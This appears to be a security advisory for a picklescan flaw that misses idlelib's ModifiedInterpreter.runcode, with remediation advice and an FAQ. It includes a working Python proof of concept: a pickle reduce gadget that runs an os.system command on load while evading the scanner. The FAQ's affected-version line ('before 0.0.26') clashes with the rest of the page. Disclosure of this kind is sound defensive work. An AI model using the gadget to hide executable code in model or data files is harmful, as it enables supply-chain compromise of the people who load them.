CVE-2025-71340: Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode
Summary
Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace
class EvilIdlelibPyshellModifiedInterpreterRuncode: def reduce(self): payload = "import('os').system('whoami')" fakeself = SimpleNamespace( locals={}, tkconsole=SimpleNamespace( executing=False, beginexecuting=str, canceled=False, closing=False, showtraceback=str, endexecuting=str, stderr=None, text=SimpleNamespace(), getvar=str ), rpcclt=None, debugger=None, checklinecache=str, activeseq=None, showtraceback=str, canceled=False, closing=False ) return ModifiedInterpreter.runcode, (fakeself, payload)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT https://github.com/Qhaoduoyu
Other sources
picklescan through 0.0.26 fails to detect malicious pickle files that invoke idlelib.pyshell.ModifiedInterpreter.runcode in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when the file is loaded via pickle.load(), enabling supply chain attacks on PyTorch models and saved Python objects. This is fixed in version 0.0.30.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/picklescanto a version that resolves this vulnerability.Fixed in 0.0.30 - Upgrade
Upgrade
picklescanto a version that resolves this vulnerability.Fixed in 0.0.30
Event History
Frequently Asked Questions
What is the severity of CVE-2025-71340?
The severity of CVE-2025-71340 is rated high with a CVSS score of 7.6.
How do I fix CVE-2025-71340?
To mitigate CVE-2025-71340, update to a version of picklescan that detects malicious pickle files.
What can an attacker do with CVE-2025-71340?
An attacker can execute arbitrary commands on the system by embedding malicious code in pickle files that utilize idlelib.pyshell.ModifiedInterpreter.runcode.
What software is vulnerable to CVE-2025-71340?
The vulnerable software is picklescan, specifically versions before 0.0.26.
When was CVE-2025-71340 published?
CVE-2025-71340 was published on June 25, 2026.